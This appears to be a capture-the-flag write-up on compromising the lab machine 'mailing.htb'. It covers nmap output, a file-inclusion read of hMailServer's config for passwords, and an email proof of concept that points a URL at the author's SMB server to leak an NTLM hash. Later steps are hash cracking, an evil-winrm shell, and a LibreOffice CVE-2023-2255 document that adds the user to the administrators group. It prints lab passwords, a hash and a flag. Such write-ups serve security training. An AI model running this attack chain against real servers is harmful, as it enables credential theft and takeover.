Enumeration
nmap
First we enumerate with nmap.
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack ttl 127 hMailServer smtpd
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
110/tcp open pop3 syn-ack ttl 127 hMailServer pop3d
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
143/tcp open imap syn-ack ttl 127 hMailServer imapd
445/tcp open microsoft-ds? syn-ack ttl 127
465/tcp open ssl/smtp syn-ack ttl 127 hMailServer smtpd
587/tcp open smtp syn-ack ttl 127 hMailServer smtpd
993/tcp open ssl/imap syn-ack ttl 127 hMailServer imapd
5040/tcp open unknown syn-ack ttl 127
7680/tcp open pando-pub? syn-ack ttl 127
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
61021/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Full Nmap Output
25/tcp open smtp syn-ack ttl 127 hMailServer smtpd | smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP |_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY 80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Did not follow redirect to http://mailing.htb |_http-server-header: Microsoft-IIS/10.0 110/tcp open pop3 syn-ack ttl 127 hMailServer pop3d |_pop3-capabilities: TOP UIDL USER 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 143/tcp open imap syn-ack ttl 127 hMailServer imapd |_imap-capabilities: completed ACL CAPABILITY RIGHTS=texkA0001 IDLE SORT NAMESPACE OK IMAP4 CHILDREN QUOTA IMAP4rev1 445/tcp open microsoft-ds? syn-ack ttl 127 465/tcp open ssl/smtp syn-ack ttl 127 hMailServer smtpd | smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP |_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU/[email protected]/organizationalUnitName=MAILING/localityName=Madrid | Issuer: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU/[email protected]/organizationalUnitName=MAILING/localityName=Madrid | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2024-02-27T18:24:10 | Not valid after: 2029-10-06T18:24:10 | MD5: bd32:df3f:1d16:08b8:99d2:e39b:6467:297e | SHA-1: 5c3e:5265:c5bc:68ab:aaac:0d8f:ab8d:90b4:7895:a3d7 | -----BEGIN CERTIFICATE----- | MIIDpzCCAo8CFAOEgqHfMCTRuxKnlGO4GzOrSlUBMA0GCSqGSIb3DQEBCwUAMIGP | MQswCQYDVQQGEwJFVTERMA8GA1UECAwIRVVcU3BhaW4xDzANBgNVBAcMBk1hZHJp | ZDEUMBIGA1UECgwLTWFpbGluZyBMdGQxEDAOBgNVBAsMB01BSUxJTkcxFDASBgNV | BAMMC21haWxpbmcuaHRiMR4wHAYJKoZIhvcNAQkBFg9ydXlAbWFpbGluZy5odGIw | HhcNMjQwMjI3MTgyNDEwWhcNMjkxMDA2MTgyNDEwWjCBjzELMAkGA1UEBhMCRVUx | ETAPBgNVBAgMCEVVXFNwYWluMQ8wDQYDVQQHDAZNYWRyaWQxFDASBgNVBAoMC01h | aWxpbmcgTHRkMRAwDgYDVQQLDAdNQUlMSU5HMRQwEgYDVQQDDAttYWlsaW5nLmh0 | YjEeMBwGCSqGSIb3DQEJARYPcnV5QG1haWxpbmcuaHRiMIIBIjANBgkqhkiG9w0B | AQEFAAOCAQ8AMIIBCgKCAQEAqp4+GH5rHUD+6aWIgePufgFDz+P7Ph8l8lglXk4E | wO5lTt/9FkIQykSUwn1zrvIyX2lk6IPN+airnp9irb7Y3mTcGPerX6xm+a9HKv/f | i3xF2oo3Km6EddnUySRuvj8srEu/2REe/Ip2cIj85PGDOEYsp1MmjM8ser+VQC8i | ESvrqWBR2B5gtkoGhdVIlzgbuAsPyriHYjNQ7T+ONta3oGOHFUqRIcIZ8GQqUJlG | pyERkp8reJe2a1u1Gl/aOKZoU0yvttYEY1TSu4l55al468YAMTvR3cCEvKKx9SK4 | OHC8uYfnQAITdP76Kt/FO7CMqWWVuPGcAEiYxK4BcK7U0wIDAQABMA0GCSqGSIb3 | DQEBCwUAA4IBAQCCKIh0MkcgsDtZ1SyFZY02nCtsrcmEIF8++w65WF1fW0H4t9VY | yJpB1OEiU+ErYQnR2SWlsZSpAqgchJhBVMY6cqGpOC1D4QHPdn0BUOiiD50jkDIx | Qgsu0BFYnMB/9iA64nsuxdTGpFcDJRfKVHlGgb7p1nn51kdqSlnR+YvHvdjH045g | ZQ3JHR8iU4thF/t6pYlOcVMs5WCUhKKM4jyucvZ/C9ug9hg3YsEWxlDwyLHmT/4R | 8wvyaiezGnQJ8Mf52qSmSP0tHxj2pdoDaJfkBsaNiT+AKCcY6KVAocmqnZDWQWut | spvR6dxGnhAPqngRD4sTLBWxyTTR/brJeS/k |_-----END CERTIFICATE----- 587/tcp open smtp syn-ack ttl 127 hMailServer smtpd |_ssl-date: TLS randomness does not represent time | smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP |_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY | ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU/[email protected]/organizationalUnitName=MAILING/localityName=Madrid | Issuer: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU/[email protected]/organizationalUnitName=MAILING/localityName=Madrid | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2024-02-27T18:24:10 | Not valid after: 2029-10-06T18:24:10 | MD5: bd32:df3f:1d16:08b8:99d2:e39b:6467:297e | SHA-1: 5c3e:5265:c5bc:68ab:aaac:0d8f:ab8d:90b4:7895:a3d7 | -----BEGIN CERTIFICATE----- | MIIDpzCCAo8CFAOEgqHfMCTRuxKnlGO4GzOrSlUBMA0GCSqGSIb3DQEBCwUAMIGP | MQswCQYDVQQGEwJFVTERMA8GA1UECAwIRVVcU3BhaW4xDzANBgNVBAcMBk1hZHJp | ZDEUMBIGA1UECgwLTWFpbGluZyBMdGQxEDAOBgNVBAsMB01BSUxJTkcxFDASBgNV | BAMMC21haWxpbmcuaHRiMR4wHAYJKoZIhvcNAQkBFg9ydXlAbWFpbGluZy5odGIw | HhcNMjQwMjI3MTgyNDEwWhcNMjkxMDA2MTgyNDEwWjCBjzELMAkGA1UEBhMCRVUx | ETAPBgNVBAgMCEVVXFNwYWluMQ8wDQYDVQQHDAZNYWRyaWQxFDASBgNVBAoMC01h | aWxpbmcgTHRkMRAwDgYDVQQLDAdNQUlMSU5HMRQwEgYDVQQDDAttYWlsaW5nLmh0 | YjEeMBwGCSqGSIb3DQEJARYPcnV5QG1haWxpbmcuaHRiMIIBIjANBgkqhkiG9w0B | AQEFAAOCAQ8AMIIBCgKCAQEAqp4+GH5rHUD+6aWIgePufgFDz+P7Ph8l8lglXk4E | wO5lTt/9FkIQykSUwn1zrvIyX2lk6IPN+airnp9irb7Y3mTcGPerX6xm+a9HKv/f | i3xF2oo3Km6EddnUySRuvj8srEu/2REe/Ip2cIj85PGDOEYsp1MmjM8ser+VQC8i | ESvrqWBR2B5gtkoGhdVIlzgbuAsPyriHYjNQ7T+ONta3oGOHFUqRIcIZ8GQqUJlG | pyERkp8reJe2a1u1Gl/aOKZoU0yvttYEY1TSu4l55al468YAMTvR3cCEvKKx9SK4 | OHC8uYfnQAITdP76Kt/FO7CMqWWVuPGcAEiYxK4BcK7U0wIDAQABMA0GCSqGSIb3 | DQEBCwUAA4IBAQCCKIh0MkcgsDtZ1SyFZY02nCtsrcmEIF8++w65WF1fW0H4t9VY | yJpB1OEiU+ErYQnR2SWlsZSpAqgchJhBVMY6cqGpOC1D4QHPdn0BUOiiD50jkDIx | Qgsu0BFYnMB/9iA64nsuxdTGpFcDJRfKVHlGgb7p1nn51kdqSlnR+YvHvdjH045g | ZQ3JHR8iU4thF/t6pYlOcVMs5WCUhKKM4jyucvZ/C9ug9hg3YsEWxlDwyLHmT/4R | 8wvyaiezGnQJ8Mf52qSmSP0tHxj2pdoDaJfkBsaNiT+AKCcY6KVAocmqnZDWQWut | spvR6dxGnhAPqngRD4sTLBWxyTTR/brJeS/k |_-----END CERTIFICATE----- 993/tcp open ssl/imap syn-ack ttl 127 hMailServer imapd |_imap-capabilities: completed ACL CAPABILITY RIGHTS=texkA0001 IDLE SORT NAMESPACE OK IMAP4 CHILDREN QUOTA IMAP4rev1 |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU/[email protected]/organizationalUnitName=MAILING/localityName=Madrid | Issuer: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU/[email protected]/organizationalUnitName=MAILING/localityName=Madrid | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2024-02-27T18:24:10 | Not valid after: 2029-10-06T18:24:10 | MD5: bd32:df3f:1d16:08b8:99d2:e39b:6467:297e | SHA-1: 5c3e:5265:c5bc:68ab:aaac:0d8f:ab8d:90b4:7895:a3d7 | -----BEGIN CERTIFICATE----- | MIIDpzCCAo8CFAOEgqHfMCTRuxKnlGO4GzOrSlUBMA0GCSqGSIb3DQEBCwUAMIGP | MQswCQYDVQQGEwJFVTERMA8GA1UECAwIRVVcU3BhaW4xDzANBgNVBAcMBk1hZHJp | ZDEUMBIGA1UECgwLTWFpbGluZyBMdGQxEDAOBgNVBAsMB01BSUxJTkcxFDASBgNV | BAMMC21haWxpbmcuaHRiMR4wHAYJKoZIhvcNAQkBFg9ydXlAbWFpbGluZy5odGIw | HhcNMjQwMjI3MTgyNDEwWhcNMjkxMDA2MTgyNDEwWjCBjzELMAkGA1UEBhMCRVUx | ETAPBgNVBAgMCEVVXFNwYWluMQ8wDQYDVQQHDAZNYWRyaWQxFDASBgNVBAoMC01h | aWxpbmcgTHRkMRAwDgYDVQQLDAdNQUlMSU5HMRQwEgYDVQQDDAttYWlsaW5nLmh0 | YjEeMBwGCSqGSIb3DQEJARYPcnV5QG1haWxpbmcuaHRiMIIBIjANBgkqhkiG9w0B | AQEFAAOCAQ8AMIIBCgKCAQEAqp4+GH5rHUD+6aWIgePufgFDz+P7Ph8l8lglXk4E | wO5lTt/9FkIQykSUwn1zrvIyX2lk6IPN+airnp9irb7Y3mTcGPerX6xm+a9HKv/f | i3xF2oo3Km6EddnUySRuvj8srEu/2REe/Ip2cIj85PGDOEYsp1MmjM8ser+VQC8i | ESvrqWBR2B5gtkoGhdVIlzgbuAsPyriHYjNQ7T+ONta3oGOHFUqRIcIZ8GQqUJlG | pyERkp8reJe2a1u1Gl/aOKZoU0yvttYEY1TSu4l55al468YAMTvR3cCEvKKx9SK4 | OHC8uYfnQAITdP76Kt/FO7CMqWWVuPGcAEiYxK4BcK7U0wIDAQABMA0GCSqGSIb3 | DQEBCwUAA4IBAQCCKIh0MkcgsDtZ1SyFZY02nCtsrcmEIF8++w65WF1fW0H4t9VY | yJpB1OEiU+ErYQnR2SWlsZSpAqgchJhBVMY6cqGpOC1D4QHPdn0BUOiiD50jkDIx | Qgsu0BFYnMB/9iA64nsuxdTGpFcDJRfKVHlGgb7p1nn51kdqSlnR+YvHvdjH045g | ZQ3JHR8iU4thF/t6pYlOcVMs5WCUhKKM4jyucvZ/C9ug9hg3YsEWxlDwyLHmT/4R | 8wvyaiezGnQJ8Mf52qSmSP0tHxj2pdoDaJfkBsaNiT+AKCcY6KVAocmqnZDWQWut | spvR6dxGnhAPqngRD4sTLBWxyTTR/brJeS/k |_-----END CERTIFICATE----- 5040/tcp open unknown syn-ack ttl 127 7680/tcp open pando-pub? syn-ack ttl 127 49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 61021/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
web app
http://mailing.htb/download.php?file=instructions.pdf
using instructions in the instructions.pdf we are unable to use default credentials user:password
possible email addresses:
[email protected]
[email protected]
[email protected] and [email protected] (based on the team names on the homepage)
Vulnerable to LFI
used a modified windows wordlist (replaced C: with ../../)
wget all files
for url in $(cat wget-files); do wget $url; done
used another wordlist from https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion/Intruders
this time there’s the web.config in the wwwroot folder but nothing interesting.. so wondering where the real web.config is since there’s supposed to be a web server..
tried to see if wwwroot is in the root C: directory and it actually is
tried to curl download.php but it doesn’t execute and instead displays the code.. this would mean that webshells won’t be possible if we can even get to write a file
remembered that the homepage mentioned something about hMailServer and found this exploitdb file inclusion exploit
https://www.exploit-db.com/exploits/7012
notice that a bunch of the LFIs try to look for hmailserver.ini
a little googling found a forum post mentioning about where that config file may be (https://hmailserver.com/forum/viewtopic.php?f=7&t=38903)
true enough it’s there and we actually found some passwords too along with folders used by hMailServer
as noted from the same exploitdb page
cracked one of the passwords in crackstation
after this was stuck so I checked HTB’s guided mode for clues
so I googled the windows mail cve and also searched for a github to see if there’s a possible POC and true enough there was
–server
mailing.htb
–port 587 (a few SMTP ports are open [25, 465, 587] so I followed example to be safe but it makes sense since SMTP authentication is required, the default SMTP port with TLS is 587)
–username [email protected] (since we have its password from hmailserver.ini
–password homenetworkingadministrator (from hmailserver.ini)
–sender I don’t think it matters
–recipient [email protected] (from one of the screenshots in instructions.pdf, since we need an actual email account to leak the NTLM information)
–url “\10.10.14.3\test\meeting” (my SMB server IP plus a random share; not sure if it had to be a real share so I just used the example’s)
–subject
don’t think it matters
maya::MAILING:9f1c7f854ee5f1eb:E70BD5B345B0187EFF5A6C43A15577F5:01010000000000008046634B8820DB0142F987CCE96F5D750000000002000800330055004D004C0001001E00570049004E002D0057005000500054004B004700390050004C004100410004003400570049004E002D0057005000500054004B004700390050004C00410041002E00330055004D004C002E004C004F00430041004C0003001400330055004D004C002E004C004F00430041004C0005001400330055004D004C002E004C004F00430041004C00070008008046634B8820DB010600040002000000080030003000000000000000000000000020000097F2E76BE6AB527D352708B8CAA404A8027F3A61A9B043239B429DF1756F71B60A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E0033000000000000000000
place the whole thing in a txt file and input into hashcat to autodetect and crack
password for [email protected] is m4y4ngs4ri
verify the password with netexec
also seems that maya can also be authenticated via winrm, hence, we evil-winrm to get shell
user flag 3e67a38aaa18c193da33c154a5e73ba1
got winpeas onto the machine and ran it
2 Softwares (or folders in Program Files) seemed interesting
RUXIM is apparently something that is used by Windows Update so we can ignore it. https://www.windowsdigitals.com/what-is-ruxim-folder-in-program-files/
LibreOffice is like an open source Microsoft Office that’s normally used in other Oses.
To check the LibreOffice version, you can run a CLI command “soffice.com –version” https://help.libreoffice.org/latest/en-US/text/shared/guide/start_parameters.html
found the soffice.com file in C:\Program Files\LibreOffice\program
running the command we find that it’s version 7.4.0.1
seems that this version is vulnerable to a Privilege Escalation (CVE-2023-2255) which is what we want
It appears that this CVE allows us to craft an .odt document that loads external links without prompt. Based on the POC we can do RCE
the Administrator user is called localadmin and is in the Administradores group
so I crafted the .odt to, when run, execute the command ’net localgroup Administradores maya /add’ to make maya an administrator
as an administrator, I can now dump hashes as maya
I can then get a shell as localadmin using the hash via evil-winrm
